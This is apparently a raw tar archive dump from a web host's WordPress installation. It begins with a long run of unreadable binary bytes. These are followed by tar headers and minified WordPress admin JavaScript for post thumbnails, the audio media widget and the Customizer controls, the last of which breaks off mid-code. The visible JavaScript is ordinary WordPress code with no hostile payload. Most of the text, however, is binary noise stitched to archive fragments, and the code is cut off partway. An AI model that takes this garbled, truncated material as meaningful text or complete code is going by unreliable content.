~ז���0n��F��uH�栏!�M��B���VB�0ޠ�VQ��pҀ؍T����j�!�]��r�0I�=�Q�Q�]�Բ�D�@�n�h��/R�0�:!�/��Y�<�a(�H�4Y����2ۺN�H�7�`ܦ.�i��̬,�W�RS8rz���6y��@����[m\s��5Y�(>�JP��Z�i"�~�u�W�D��I.�`^���9��!��&�C��C��b*���R �0��&�Lʑ'�g�9vc�ܗ��Nw�2A�AJ�9-5*~�Qo(́n���n�`F%��!�qв�����l=y4��lm�ͥ�����u���98GN#đ�P�y�J��12�1xX����ϟ���(AV��R�'u�~g,���^F�H�r�i��OT�b�����7 Ť�!P������4�zy���wo_}�ӫ��@Z���
>���q��O���
$Jz{nN�:^�_��)�ե��ң�7r���\�(C'�Mpa�J5;��� l��L�DR��;��kh�;���;Vatl������i�!$�V85ǿ̳�	������O0�{�kޯ19K�[�
ձ4�����p��%�ʁ�I�I
C�#~Q����{�	���C5�����1�l��p��Gu��_+�9ᐋ��
X"ј���_Z�K�;�Vә��m��U�74D��.�R:H�߳���S�^��g�U�黔b���C���4��1�U��Vۭd�
�.���V��oj`��"R�T�+J�*���U�U�D��@��y>�5���]u�j�i�Jʟ���ث��_�ï��PΜf����KH�1��i�r�[k���Г�ݬ<�"D�/���Z��dHa`�<�JW�k�,o�m8y�e֗7�o�-�
ш.0��y:��%�!���=��h��f�fg�N���R�����"Q�V�_�yj}9���K_���,S*�(�<�ûuӲO%W�я��c���y�㚧�!oeuc7x�%ޑE�s���=	�m����n��d�̣�1��hh��W�k�/�v�;��s��K�k��hl�����1�"y; j����}̔䢩aɉt+:��4�5�����\ܥBz|`��PaX�hL��������§�U�vq��&��|��*��N�Y/�g�Cax����j\R.b��[��B6{��.��0�^��}w\F�"�O,?F��;	q^�v��E�}��k`[�m�S�+�N����m�AFE%�/e�d�/k_��Zo�i�]�S��ޭy���
|�����D8�\Ą#�in��s��d_&ẍE�i�J궊?�i�$'�i6�P���`��CKUf�6��zmo��_d�������,���z^7P��4�" F�ܭ�
*�ڂj�–�k��>�"A�➶��/�'
�^l٭_S��:�~�ic�)�$M��HJ����l�]$�{��M����F�!,3\Z����붱)V6�P\�ʸ(�}����y�5�V*����RE�㢭K����0��bJs2M�e�Jk+�����o���_��w��v&8���bN���R��;[�^��W'�S��(���uY�VJ��@�7a9,�M���@J��i?���^��ŖЮH
:Y�l�W�<$��w��hZM4���l��?�Յ
��|W����7$!��טK�A4�S�x-�H��`��3S�f�I;�(7R%�>��X���d�[�����c�0_{a��\�:�d��r��/m�����&�2qk�_�n�����w�!���j*�!e��
��V�.�t����h��d=Z�����W_�zO�0���a��'�X>;�'�����-d�7����`���
�2FSWJ$��U�Q~����BF�(׻Iǥ0��Z�E���o��4�,��18�I�Rjq������:��b����IМ�1_an
�34��.�l�b��4��w��
���+k�t%��&̴�ǟzz����ֻ\!���XZ�F�s�>lD`u-�NT���UmM8��(�~yx]�5	Ն��{:���=����K����
#`a��	=/�U�׼��4s���A�M�U�r��[!��ҵT��̎�A��T҆#u.��a�I(D�ɔs��L�&)�T=R�،Êf��Ў����AҞ��([��]�K��b���-e�J����
�Q�N���n���6fG�Go�1�y��`�,Z}�g\Yd�cH��yqV�\⽵1"�rP�iWtw�4��ɋ��ӻN�����o�Y��XG�ƻ���ăm��F�Pn�_��2ɑ�n
YQ�+�D�0���s����_>��_�}����~z����/ #Lc)��1&���E��9_��'�z�)\��y�L$��|Si�͉�6ݵ|��s�<x\���
(R��PBT؀Q%"�~>씊�8?���C=�NL�#��u�g|�KB��� V�c��F����_&�{BX_�J�?�g�D��p*�+׆r����F�_N��K��ca 7�4IT�n'<���^rdJ�5~F�[�R�<s�]K�Y(L�kF��>��켒�)^\%�ŕ�t
�a��.�U�M.�+)�*-E�45���Z�?�U�8�
�Y�N2W�ӎ!�`[�I�ɐC#IL#��V!�x|i�x3���X�[WE%S|��&7{�^�A�=]�enb�ze`��L��	�1��u���zCՆ���au�1�v�e�}�9�Y��&�b��!�1�gU��e=U���2I
7�iӕQhC.A�"�QrI�OI�70��tv<�9L����pgNQ���w��bG?ۓT����wE�r�%VR�OY��U:dE;��K4l�]M�u�p(���Ċ [�n����j^&{�bE�*[����S�p�jYUù\p�qFG�/�S�����BOl�S���z�v��I����Z������ �Nm�e��"��ﰴ뿒v�(aHt|�V��7�ED~��Ć6ٴ�l�D��c��O��
s�:���4`�B���S=Q��-��g�L�m�snF�;h)�{n���&�\��Iw�]05�񢤘�y�j�;�q�l!#�G�m���ZI�G�@��J����S
��ғi��b�ʞ��.��Ɋ�0���`�p����2}�Y;ѯ��ZV�Ag6ޯ��˛hi,��0u���)�Sy����<��s>�L�݋�7b��<
�7�7�
@9V��8�E_��Ivأ�`��
uTڶ~�B���x���|N�Z0�X~�Lm�L�^.ϔ�&+�ga�8y����&��*��Sӌ\;��!K�kb$h,N��eߘ��V��jX��~��V���&�@<c��}�sh�c�f^ʀf���B���o�i^�Y���U�0�Π�X6��)��ly�Y<���+v��m��7��Si�ٯ'�OF���=��GUw�6�=�S��.h�_�Ο`�<U�v�UO��ӑg���=�F�Uh�F�rW�s�[�څT"Qn��*��[���X�����wr=�jX���ފ��F��2
q^4�<��^ ��jV�߂Zղ�u^�&U�J*��	DaLu�.XK�P��ĥ�Y����]C%Y
�{��k�Q��;g�P����Z�_T��m�.&	�����:�א��(�UP�e��eb*^��|��k�������C֕2�J)S	]�Q�*�Be"�������4x9�"k:����lkǫa6�`m�V�.��w1��Y��VGT ̅%����9{_���&���Z�����Rg�T�I��>��*��"�<~o�j��M�2�	�/����?#�@��b��iS�%A�Ϣ�#�d�k�>�g�^U���1�x���&�Շ<_����Z��X􇉋�ٰ��#��>Z�[}���Z>��<8�����h|�Ƕ�ػ���Q����ur\m����<�=ރ=��[��]�r$Vq���+)I��H�Kl	�jK�Ep�<�����:���nu<�aIk����^b�Ų��i�����$^�{��9�V1��N�l�P���@��'<G��E�	�Q���m�x�^�7�S���9ޕ3����9�駻�)��^� [���v�\,���:���8�����2^���l��'�h���u�K��k
P��;f����,+�e�e����P?�@�/�U�v���M
6�:J���j���fK;�u`x���PDZ�o�6��/���>��b��NG{�C0)3��x4Yr�H�7���~0��������@����8
��5r:W��c��[�<���Q1z{���h8:�D
'9���
r��9jt��3
O�7�z�(Y�wa������8ƳM�nzѻ�hxVYu�V�z9�#�<��(��Q�{Ω-�h�f	a9�����؉��m?� W�4ʟ�ҍ�n+H��x-A����X؉�F���dN�@n�n�s��="n�koFf$�5���P��[7�1��.�Ģ��K@���)˵=C�����a����=f/�
g�p�^Sk
:D��� GٍKV������Ѱ���y �z�K����3�U��w���}~�08<5��;Q���#ƕM�Šw��[RC4��hі��-p�<﹌��0⟽y~4���e��G�m��?��a*|���s%�8xC��\QW�m���ܸ	�R.^��թ�骐[�4:qhiô�B��w�+"��h� qlO��vt)�e$�Y]Ek�e5���O�%FF�Q�Rz�woD׺�}�|�D��Q�E7�Y�D���n�\�Y�VO\IyHn�D�Z��v��d�6:;��y��#.���iqn��u74ݵ�Ѻ�(J�;v
#v.�ʒS����l�UOk�
۵ȫ���HۧwJ[Y2{���V��1��=���QY�mT̾�L���'��S֦��y s{H�܆o�6�����ݩ�~@1G3;��_�Rf���1�=%`� ��:��(I�r:��L�V�[��^��2�}2^�շ�l��SJ_2]:5����fG��E�-+��{	J��S~���ފ�q��u�|��IO6���4O��uTx�\s+� ��vo���;�ӷ�p����C���[�Ɗ�/ǣ�Q�^��V	�On}8�$��h�-fɥ�J�=i�s4�^K��
��e$��T3�i�������k>$|t�͹Ș�?XΖ��H
ŋO]@~�*7g"�ӣ!���h*��
/|�Eh(6#�~=��)(��	���)g~� O�
͆}�]�e�qa�E�\c�|��Daa�
���(�^�@�,w��y<��h]��#;2�M�W�n�z��
b�
K�ix%�$�a��m�k�UV�b��x�i�ȫJ�tw�xN8��f�vmB�:�OkҐۨ�f�!���j�m9Vʴw��
�6X�8䁨��
����1�Æ���:��h?��^��"pۆ�Z�х~kt���];�}�q��'�&5�ծ/�'����e���&�����12U�IU�vϘԦ\P�!j�9"enh�uld����(��qi�q�LM�f�vSx������orz���P�!�c��怈�&ۏ�Z'�^ݣ�Y�!O̗/ā����'�G}|�=��hWE"U����P����le`���D��ʹ��Z�g�4G��VRsX�}�)�nc��e�^�Z=	&�����5�áMy*�#O�^-�ݤ�(�\œ'�
g}%{ѷ�b%r|7%�l$����&y|,O|"�c��'ݣy2ص�ۄ{��
���ȻEG����D_�04��A������J]����l����bK�U	�m��!-ʝx��b�Q�T�f�c���	0W}������+f=����cVZ]�-�`Ig��G�;p���aTG��9�Tq�~\x2��~y����ޓm���9B�cؚ����ɷ���!7�+�d��g���K��!�ظF�܈Y� ��&pz��z'I������a�߭_��:k53���P
�g��w䨪_�S���l
9���!�
Pڒn���bS�so��M�=�����7�T������T����7��H�)���B�+p�1����?-�~E=��g�sX���o��N�31�Z�
x��#�!^��%$L}<���`���Ip�B���}5 ,�~�@7�b�F��t�g4㹷��d�s���w��*��2�����1t�@D�g(ȆkT�d�6�قv,�T���tS�-Ún���fk�?�d>�^��ax̟�{h�d�Z���(z�T�]�宩lm�}���m�.#������µ��s���E�gz�e���!�T
*�T��w��f�+�:
��c��;t���xKE�V���h��I]�s��Ӗ�n��ϼ�"g൒�D6B́|mr
�����ЌM�@�zTz	�{������#��P��T;����H<�e��O�`���S�t�t������i���ˊp!����^I	�[���,�m:�-+�8���o�d���J{������U����r�g���{��H��|�;�ݢ�n���O�v��]�cػ`�VhK�K�~3r�v�6��>\!"B]�~+w�q
o�� a�a>S��'*%�
��6�##@���F���$��ު
vK�=��M<K���w�;za����QE����D�X�t#�jtw��nz��0^ÿoCCȲJ�I� ��_N�Ǩm��1���r2�`t��1�>�(c���A���c{����@G���!޶F�@��t�Ӧ�J�`��r8P����KC�T)�F�]�&���V�Œ�_خ2顃���:_e��{3 �y6����ҁN_�ֻ���[����� ��UY�xU�"~O�̳tڏ}��7?�e��n
xi1�D}���'�I���n@{f5�C���Y�$�n�R�ۿ�GUU7�m̨�f�{K�)e���FWi�z^�\ѕ24��@J�ٱN�7��S\X�&����S٫(e@J�3��y7j[���mяM"]���ה)�.�ޡ���!^��7A9�JP(I%
_�+�/����&��)�w���c��l��	�d�Mg%�#��A�PM_����o���T�Xts$�6�Z!՗7CI7�*���[��d��>�`����A�x�M͇�
	���7���S���who�g�yS��ϋ�&̛/� ����v�׽����0�;�M�j�2�C�t5)US+dS�=�P{	�ƣ����,򳍃Y���+AD�exr��w��6R
��{���v4��)�
4�-��Mw,�Uls�{3iT�k�[�7�0x�6d*sI�.<���~Bڗl��Tb�r{i~���
=�^�aZ��B�KG��D+���aX�>�Q�{@���s�U���q�;��EX,�W{�!�xwN��Mz�<�ŀȮȨ��#�KJa��Z����)h��8l��}gmH�~@�Lo�NI����,A�W�"�ֳ�Vv�<S�ޢ�����W^��N��c�pG��mp�y��n�
�j�f�v��ۭ��ے$�En�
��Ҹ��?rT��X�`0��^m�ѥ�~;_�BW�Zݸ�uӷ��xi��RV�m��
me^ſ�����K��U���A�`��i,�jtgLF��T#	Ou�bK��AR|Ku��*z.�Uk����Xi�Lߡ�-�o��e�W��^N�h����\����n�5УV���x,d�B����
��6/�cw!Q;p�f���k�@���:[���O։���*G.���~�7�ւɱ���A��_����_��������^�set-post-thumbnail.min.js000064400000001154150276633110011430 0ustar00/*! This file is auto-generated */
window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})};media-audio-widget.min.js.tar000064400000006000150276633110012110 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-audio-widget.min.js000064400000002647150274071500023167 0ustar00/*! This file is auto-generated */
!function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets);customize-controls.min.js.tar000064400000335000150276633110012341 0ustar00home/natitnen/crestassured.com/wp-admin/js/customize-controls.min.js000064400000331743150262615040021747 0ustar00/*! This file is auto-generated */
!function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia("(prefers-reduced-motion: reduce)"),r=o.matches;o.addEventListener("change",function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=" notification-overlay",n.loading&&(n.containerClasses+=" notification-loading")},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on("keydown",_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&&(e.stopPropagation(),t.dismissible)&&t.parent&&t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,"constrainFocus"),t._addedIncrement=0,t._addedOrder={},t.bind("add",function(e){t.trigger("change",e)}),t.bind("removed",function(e){t.trigger("change",e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t="string"==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&&(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&&i.container.length&&(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&&_.isEqual(e,i.previousNotifications)||((n=i.container.children("ul").first()).length||(n=J("<ul></ul>"),i.container.append(n)),n.find("> [data-code]").remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&&_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,"assertive"),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&&o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&&(J(document.body).toggleClass("customize-loading",t),i.container.toggleClass("has-overlay-notifications",t),t?(i.previousActiveElement=document.activeElement,J(document).on("keydown",i.constrainFocus)):J(document).off("keydown",i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop("tabIndex",-1),((a=i.focusContainer.find(":focusable")).length?a.first():i.focusContainer).focus()):i.previousActiveElement&&(J(i.previousActiveElement).trigger("focus"),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger("rendered")))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&&(0===(t=n.focusContainer.find(":focusable")).length&&(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&&!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&&e.shiftKey&&(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:"refresh",dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;"postMessage"===(t="postMessage"!==t||Y.state("previewerAlive").get()?t:"refresh")?e.previewer.send("setting",[e.id,e()]):"refresh"===t&&e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&&i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind("change",function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind("ready",function(){Y.bind("add",function(e){e._dirty&&(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&&(t=Y._latestSettingRevisions[e.id],Y.state("changesetStatus").get()&&n&&n.unsaved&&(_.isUndefined(t)||t<=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state("processing").get())a.reject("already_processing");else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&&_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&&null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger("changeset-save",i,e),!e.force&&_.isEmpty(i)&&null===e.title&&null===e.date)a.resolve({});else{if(e.status)return a.reject({code:"illegal_status_in_changeset_update"}).promise();if(e.date&&e.autosave)return a.reject({code:"illegal_autosave_with_date_gmt"}).promise();Y.state("processing").set(Y.state("processing").get()+1),a.always(function(){Y.state("processing").set(Y.state("processing").get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&&(t.customize_changeset_title=e.title),null!==e.date&&(t.customize_changeset_date=e.date),!1!==e.autosave&&(t.customize_changeset_autosave="true"),Y.trigger("save-request-params",t),(e=wp.ajax.post("customize_save",t)).done(function(e){var n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),a.resolve(e),Y.trigger("changeset-saved",e),e.setting_validities&&_.each(e.setting_validities,function(e,t){!0===e&&_.isObject(i[t])&&!_.isUndefined(i[t].value)&&(n[t]=i[t].value)}),Y.previewer.send("changeset-saved",_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger("changeset-error",e)}),e.always(function(e){e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&&e!==t&&n.parent.trigger("change",n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&&1<(n=i.sections()).length&&n.forEach(function(e){e.expanded()&&e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&&i.expanded&&i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(".control-focus:first")).length?e.find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state("paneVisible").set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&&"number"==typeof e.params.instanceNumber&&"number"==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return"keydown"===e.type&&13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&&-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i="button-see-me",a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on("focusin",o),setTimeout(function(){n.focusTarget.off("focusin",o),a||(e.addClass(i),e.one("animationend",function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,"/")),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():"string"==typeof e?new Date(e.replace(/-/g,"/")).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement("div"),e={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaultExpandedArguments:{duration:"fast",completeCallback:J.noop},containerType:"container",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||"customize-"+n.containerType+"-"+n.params.type,n.container=J(n.params.content),0===n.container.length&&(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&&n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,["priority","active"]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(".customize-control-notifications-container:first")},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&&t.notifications.render()}),e(),t.notifications.bind("change",_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&&i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error("Container.isContextuallyActive() must be overridden in a subclass.")},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&&t.completeCallback():(n="resolved"===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&&(Y.panel.each(function(e){e!==i&&e.expanded()&&(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&&t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&&this.active.get()||!e&&!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error("Must override with subclass.")},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&&!i.active()||(Y.state("paneVisible").set(!0),t.completeCallback=function(){n&&n.apply(i,arguments),e?i.container.trigger("expanded"):i.container.trigger("collapsed")},e&&i.expanded.get()||!e&&!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&&t()}):(o=(a=this).contentContainer,i=o.closest(".wp-full-overlay").add(o),a.panel&&""!==a.panel()&&!Y.panel(a.panel()).contentContainer.hasClass("skip-transition")||(i=i.add("#customize-info, .customize-pane-parent")),n=function(e){2===e.eventPhase&&J(e.target).is(o)&&(o.off(s,n),i.removeClass("busy"),t)&&t()},o.on(s,n),i.addClass("busy"),_.defer(function(){var e=o.closest(".wp-full-overlay-sidebar-content"),t=e.scrollTop(),n=o.data("previous-scrollTop")||0,i=a.expanded();i&&0<t?(o.css("top",t+"px"),o.data("previous-scrollTop",t)):!i&&0<t+n&&(o.css("top",n-t+"px"),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector).length?wp.template(e.templateSelector):wp.template("customize-"+e.containerType+"-default");return t&&e.container?t(_.extend({id:e.id},e.params)).toString().trim():"<li></li>"},getContent:function(){var e=this.container,t=e.find(".accordion-section-content, .control-panel-content").first(),n="sub-"+e.attr("id"),i=n,a=e.attr("aria-owns");return e.attr("aria-owns",i=a?i+" "+a:i),t.detach().attr({id:n,class:"customize-pane-child "+t.attr("class")+" "+e.attr("class")})}}),Y.Section=a.extend({containerType:"section",containerParent:"#customize-theme-controls",containerPaneParent:".customize-pane-parent",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null,panel:null,customizeAction:""},initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.sectionConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.id=e,n.panel=new Y.Value,n.panel.bind(function(e){J(n.headContainer).toggleClass("control-subsection",!!e)}),n.panel.set(n.params.panel||""),Y.utils.bubbleChildValueChanges(n,["panel"]),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e,n=this;n.containerParent=Y.ensure(n.containerParent),n.panel.bind(e=function(e){var t;e?Y.panel(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer,n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve()})}):(t=Y.ensure(n.containerPaneParent),n.headContainer.parent().is(t)||t.append(n.headContainer),n.contentContainer.parent().is(n.headContainer)||n.containerParent.append(n.contentContainer),n.deferred.embedded.resolve())}),e(n.panel.get())},attachEvents:function(){var e,t,n=this;n.container.hasClass("cannot-expand")||(n.container.find(".accordion-section-title, .customize-section-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()?n.collapse():n.expand())}),n.container.find(".customize-section-title .customize-help-toggle").on("click",function(){(e=n.container.find(".section-meta")).hasClass("cannot-expand")||((t=e.find(".customize-section-description:first")).toggleClass("open"),t.slideToggle(n.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",function(e,t){return"true"===t?"false":"true"}))}))},isContextuallyActive:function(){var e=this.controls(),t=0;return _(e).each(function(e){e.active()&&(t+=1)}),0!==t},controls:function(){return this._children("section","control")},onChangeExpanded:function(e,t){var n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=i.headContainer.closest(".wp-full-overlay"),r=o.find(".customize-section-back"),c=i.headContainer.find(".accordion-section-title").first();e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){c.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open"),s.addClass("section-open"),Y.state("expandedSection").set(i)}.bind(this),t.allowMultiple||Y.section.each(function(e){e!==i&&e.collapse({duration:t.duration})}),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):(t.allowMultiple||Y.panel.each(function(e){e.collapse()}),n())):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){r.attr("tabindex","-1"),c.attr("tabindex","0"),c.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open"),